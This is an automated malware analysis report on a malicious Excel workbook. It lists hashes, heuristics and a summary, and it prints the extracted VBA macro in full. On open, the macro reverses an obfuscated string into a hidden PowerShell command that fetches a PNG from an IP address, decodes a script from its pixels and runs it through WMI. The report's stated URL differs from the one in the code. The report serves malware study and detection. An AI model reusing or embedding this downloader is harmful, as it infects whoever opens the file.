Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3eb075ffcfd17645…

MALICIOUS

Office (OOXML)

4.2 KB First seen: 2021-06-04
MD5: 8aa0190ca4fc09d420a9c436389b4763 SHA-1: 68ec47b8b9ecacb6727e49e4a110784f76e7d925 SHA-256: 3eb075ffcfd17645249c0c7a55957fe741589f97f28c588527078604ca08543f
160 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The VBA macro contains a Workbook_Open subroutine that is triggered automatically when the document is opened. This subroutine constructs and executes a PowerShell command via WMI to download a payload from the URL "http://129.86.209.183/test.png" and execute it. The use of WMI to launch processes and the obfuscated PowerShell command indicate a downloader or dropper functionality.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1272 bytes
SHA-256: 8c6f93b06e43e7fc638f030c09e54db717385e42e483fb246d48794a42c755bd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Midgar_rev(str)
    Midgar_rev = StrReverse(str)
End Function

Private Sub Workbook_Open()
    Subscription
End Sub

Sub Subscription()
	strArg = Midgar_rev("""))]189..0[o$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[(XEI;}}R.p$=]2+3*)x$+42*_$([o$;G.p$=]1+3*)x$+42*_$([o$;B.p$=]3*)x$+42*_$([o$;)_$,x$(lexiPteG.g$=p${))32..0(ni x$(hcaerof{% | )32..0(;8271 ][etyB a=o$;))'gnp.test/831.902.861.291//:ptth'(daeRnepO.)tneilCbeW.teN a((pamtiB.gniwarD.metsyS a=g$;gniwarD.metsyS A- epyT-ddA;tcejbO-weN a las"" c- neddiH wodniW- ssapyb ycilopnoitucexe- pon- llehsrewop")
    GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 8cf391f698c4fd62165a8d6bcb0a16086f02183136e7920bdb9f5197fd0f67f1

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